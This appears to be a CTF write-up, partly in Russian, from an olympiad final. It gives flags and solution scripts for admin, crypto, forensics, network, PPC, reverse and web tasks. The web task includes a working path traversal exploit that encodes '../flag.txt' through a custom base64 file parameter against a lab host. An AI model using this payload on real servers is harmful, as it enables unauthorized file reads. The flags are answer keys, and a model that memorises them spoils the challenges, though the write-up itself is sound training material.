---
# System prepended metadata

title: ООУИ 21/22. Финал. Первый тур

---

# ООУИ 21/22. Финал. Первый тур

[TOC]

## Admin

### Tartar
#### Балл: 1
#### Условие:
`tar -pzf data.tar.gz`
#### Ответ: CTF{JuST_p3rM1s510ns_s4lt_5Alt_salt_5alt_s4lT_saLt_Salt_saL}
#### Решение
В архиве содержится файловая система. После распаковки в домашней папке юзера находим много пустых файлов. Нужно отсортировать их по дате создания (по возрастанию) с помощью `ls -l -tr`, после собрать все разрешения на файлах, переконвертировать в восьмиричный вид и затем в десятичный, который будет являтся ascii символами флага

```python=
import random

def random_string(n):
  r = ''
  alpha = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890=_+!#$%^*()'
  for _ in range(n):
    r += alpha[random.randint(0, len(alpha)-1)]
  return r


flag = 'CTF{JuST_p3rM1s510ns_s4lt_5Alt_salt_5alt_s4lT_saLt_Salt_saL}'

flag_d = [oct(ord(i))[2:] for i in flag]
print(flag_d)

files = []
for i in range(len(flag_d)):
  files.append(random_string(random.randint(10, 20)))

for i in range(len(files)):
  f = files[i]
  p = flag_d[i]
  print(f'touch \'{f}\'; sleep 2; chmod {p} \'{f}\';')

```

## Crypto

### Stupid cypher 
#### Балл: 1
#### Условие: 
This piece of code is used in crypto ransomware. Can you write a decryptor?

```python
import base64

def encrypt(data, secret1, secret2, secret3):
    enc = b''
    for i in data:
        enc += bytes([((i ^ secret1) + secret3) % 256]) 
    for i in range(secret2):
        enc = base64.b64encode(enc)
    with open('flag.enc', 'w') as f:
        f.write(enc.decode())

if __name__ == '__main__':
    encrypt(b'CTF{...}', ..., ..., ...)
```

#### Ответ: CTF{b453_64_4G4In_4nD_4G4In_31337}
#### Решение:

```python
import base64

a = open('flag.enc', 'r').read()
for i in range(256):
    try:
        a = base64.b64decode(a).decode()
    except:
        print(f'[+] secret2 = {i+1}')
        break
a = base64.b64decode(a)
for i in range(256):
    for j in range(256):
        dec = b''
        for c in a:
            dec += bytes([((c - j) ^ i)%256])
        if b'CTF{' in dec:
            print(f'[+] secret1 = {i}')
            print(f'[+] secret3 = {j}')
            print(f'[+] FLAG: {dec}')
```

## Forensic

### Inno Images
#### Балл: 1
#### Условие:
Find something that hidden.
#### Ответ: CTF{to0_m4NY_fI135__3xiF_4rTi5T}
#### Решение:
0) Mount image.

1) Take hashsum of all files and find one that differ:
```
md5sum */* | cut -d" " -f1 | sort -u
```
2) Find one file that hashsum:
```
md5sum */* | grep a1ada8e40cfeec0b7e992b2309859eb2
```
3) Check exif of that file and findout that the flag is base64 encoded in the Artist attribute.
```
echo 'Q1RGe3RvMF9tNE5ZX2ZJMTM1X18zeGlGXzRyVGk1VH0K' | base64 -d
```


## Network
### Tunnel
#### Балл: 1
#### Условие:
One of our servers has been hacked. Help us identify what was stolen.
#### Ответ: CTF{iCmP_tUnN3l_c00L__1337}
#### Решение:
There are ICMP tunnel. 
By analyzing traffic we can find this string:
```
H4sIAAAAAAAAA3MOcavOdM4NiC8JzfMzzolPNjDwiY83NDY2r+UCABbSdfscAAAA
```
To get the flag, decode base64 and ungzip it:
```
echo 'H4sIAAAAAAAAA3MOcavOdM4NiC8JzfMzzolPNjDwiY83NDY2r+UCABbSdfscAAAA' | base64 -d | gzip -d
```


## PPC

### Robot
#### Балл: 1
#### Условие:
Все внутри.
#### Ответ: CTF{Sup3r_S3cR3t_fl4g_iS_n0t_foR_R0bots}
#### Решение: 
```python
import gzip
import socket
import re

ip = '192.168.1.1'
port = 31337

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))

print(sock.recv(1024).decode())
code = sock.recv(1024).decode()
print(code)
code = str(re.search(r'CONFIRM-\d{7}', code)[0]).encode()
print(code)

counter = 0

while True:
    sock.send(code + b'\n')
    print(sock.recv(1024).decode())
    data = sock.recv(1024)
    print(data)
    code = gzip.decompress(data)
    print(code)
    print(sock.recv(1024).decode())
    print(counter)
    counter += 1

```

## Reverse

### Converter
#### Балл: 1
#### Условие:
Мы нашли систему, которая работает только с данными в особом виде. Также к ней прилагался этот бинарник...
#### Ответ: CTF{4bc726a1f419df1a0786daec3020670a}
#### Решение: 
Используем objdump, readelf, radare2 и т.д.
```
enc = [208, 6, 48, 241, 56, 18, 84, 16, 20, 81, 32, 114, 87, 37, 39, 162, 127, 2, 117, 39, 98, 67, 180, 91, 112, 114, 55, 83, 80, 48, 19, 49, 83, 69, 52, 38, 182]

prev = 228

def antirot8(x, y):
    return (((x << y) & 0xff) | ((x >> (8-y)) & 0xff)) & 0xff

flag = ''
for i in enc:
    val = i ^ prev
    val = antirot8(val, 7)
    val = antirot8(val, 7)
    val = antirot8(val, 7)
    val = antirot8(val, 3)
    val = antirot8(val, 3)
    val = antirot8(val, 1)
    flag += chr(val)
    prev = val

print(flag)
```


## Web

### Griby
#### Балл: 1
#### Условие:
Есть один сайт, посвященный грибам. Советуем глянуть его, в корне явно что-то скрывается
#### Ответ: CTF{b45e64_dot_d07_sl45h_S3cUR3}
#### Решение: 

1. Изучаем исходники, видим загрузку файлов в `/get_mashroom?m=<filename>`, но файлы сохраняются и читаются на сервере под именем `base64(filename)`
2. Смотрим реализацию base64, видим, что для кодирования используется похожий алфавит на тот, который используется в unix функции `crypt()`. В нем присутствуют точка и слеш (`.`, `/`), поэтому можно отправить в качестве имени такие байты, чтобы при кодировке в base64 получился Path Traversal (`../../../../../flag.txt`). Единственная проблема - если длина сообщения в байтах не делится на 3, то оно дополняется `=`. Чтобы этого избежать, можно добавить `./` в начале пути, если длина не подходит
3. Пишем скрипт для конвертации, отправляем payload в `/get_mashroom?m=<payload>`, получаем флаг


```python
#!/usr/bin/env python3
import requests

alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz./"

url = 'http://0.0.0.0:8000/get_mashroom?m='

data = '../../../../../../../../flag.txt'

while len(data) % 3 != 0:
    data = './' + data

def base64_decode_without_padding(s):
    alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz./"
    b = ''
    for i in s:
        b += bin(alphabet.index(i))[2:].zfill(6)

    b = ((8 - (len(b) % 8)) % 8)  * '0' + b
    return bytes([int(b[i:i+8], 2) for i in range(0, len(b), 8)])

encoded = base64_decode_without_padding(data)

urlencoded = ''.join(['0x' + hex(i)[2:].zfill(2) for i in encoded]).replace('0x', '%')

answer = requests.get(url+urlencoded).text
print(answer)
```

